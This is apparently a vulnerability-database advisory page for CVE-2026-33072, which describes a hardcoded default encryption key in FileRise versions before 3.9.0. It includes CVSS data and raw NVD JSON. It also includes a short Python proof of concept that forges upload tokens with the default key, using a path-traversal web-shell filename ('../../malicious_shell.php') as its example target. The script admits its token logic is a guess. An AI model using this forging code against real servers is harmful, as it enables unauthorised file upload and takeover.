Security Vulnerability Report
中文
CVE-2026-33072 CVSS 8.2 HIGH

CVE-2026-33072

Published: 2026-03-20 09:16:16
Last Modified: 2026-03-23 15:53:41

Description

FileRise is a self-hosted web file manager / WebDAV server. In versions prior to 3.9.0, a hardcoded default encryption key (default_please_change_this_key) is used for all cryptographic operations — HMAC token generation, AES config encryption, and session tokens — allowing any unauthenticated attacker to forge upload tokens for arbitrary file upload to shared folders, and to decrypt admin configuration secrets including OIDC client secrets and SMTP passwords. FileRise uses a single key (PERSISTENT_TOKENS_KEY) for all crypto operations. The default value default_please_change_this_key is hardcoded in two places and used unless the deployer explicitly overrides the environment variable. This issue is fixed in version 3.9.0.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:filerise:filerise:*:*:*:*:*:*:*:* - VULNERABLE
FileRise < 3.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import hmac import hashlib # The hardcoded default encryption key found in vulnerable versions DEFAULT_KEY = b'default_please_change_this_key' def forge_upload_token(file_data): """Forges an upload token using the hardcoded key.""" # Simulating the token generation logic used by FileRise # The actual implementation details may vary based on the specific hashing algorithm used (e.g., SHA256) message = file_data.encode('utf-8') # Generate HMAC signature signature = hmac.new(DEFAULT_KEY, message, hashlib.sha256).hexdigest() return { "file": file_data, "token": signature } if __name__ == "__main__": # Example usage: forging a token for a malicious file target_file = "../../malicious_shell.php" forged_token = forge_upload_token(target_file) print(f"[+] Forged Request Payload:") print(f"File: {forged_token['file']}") print(f"Token: {forged_token['token']}") print("[+] Send this payload to the upload endpoint to exploit the vulnerability.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33072", "sourceIdentifier": "[email protected]", "published": "2026-03-20T09:16:15.710", "lastModified": "2026-03-23T15:53:41.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FileRise is a self-hosted web file manager / WebDAV server. In versions prior to 3.9.0, a hardcoded default encryption key (default_please_change_this_key) is used for all cryptographic operations — HMAC token generation, AES config encryption, and session tokens — allowing any unauthenticated attacker to forge upload tokens for arbitrary file upload to shared folders, and to decrypt admin configuration secrets including OIDC client secrets and SMTP passwords. FileRise uses a single key (PERSISTENT_TOKENS_KEY) for all crypto operations. The default value default_please_change_this_key is hardcoded in two places and used unless the deployer explicitly overrides the environment variable. This issue is fixed in version 3.9.0."}, {"lang": "es", "value": "FileRise es un gestor de archivos web autoalojado / servidor WebDAV. En versiones anteriores a la 3.9.0, se utiliza una clave de cifrado predeterminada codificada de forma rígida (default_please_change_this_key) para todas las operaciones criptográficas — generación de tokens HMAC, cifrado de configuración AES y tokens de sesión — permitiendo a cualquier atacante no autenticado forjar tokens de carga para la subida arbitraria de archivos a carpetas compartidas, y descifrar secretos de configuración de administrador, incluidos secretos de cliente OIDC y contraseñas SMTP. FileRise usa una única clave (PERSISTENT_TOKENS_KEY) para todas las operaciones criptográficas. El valor predeterminado default_please_change_this_key está codificado de forma rígida en dos lugares y se utiliza a menos que el implementador anule explícitamente la variable de entorno. Este problema está solucionado en la versión 3.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}, {"lang": "en", "value": "CWE-1188"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:filerise:filerise:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.9.0", "matchCriteriaId": "AB279A4C-FE56-4D97-9D52-6C316C1B3266"}]}]}], "references": [{"url": "https://github.com/error311/FileRise/releases/tag/v3.9.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/error311/FileRise/security/advisories/GHSA-f4xx-57cv-mg3x", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/error311/FileRise/security/advisories/GHSA-f4xx-57cv-mg3x", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}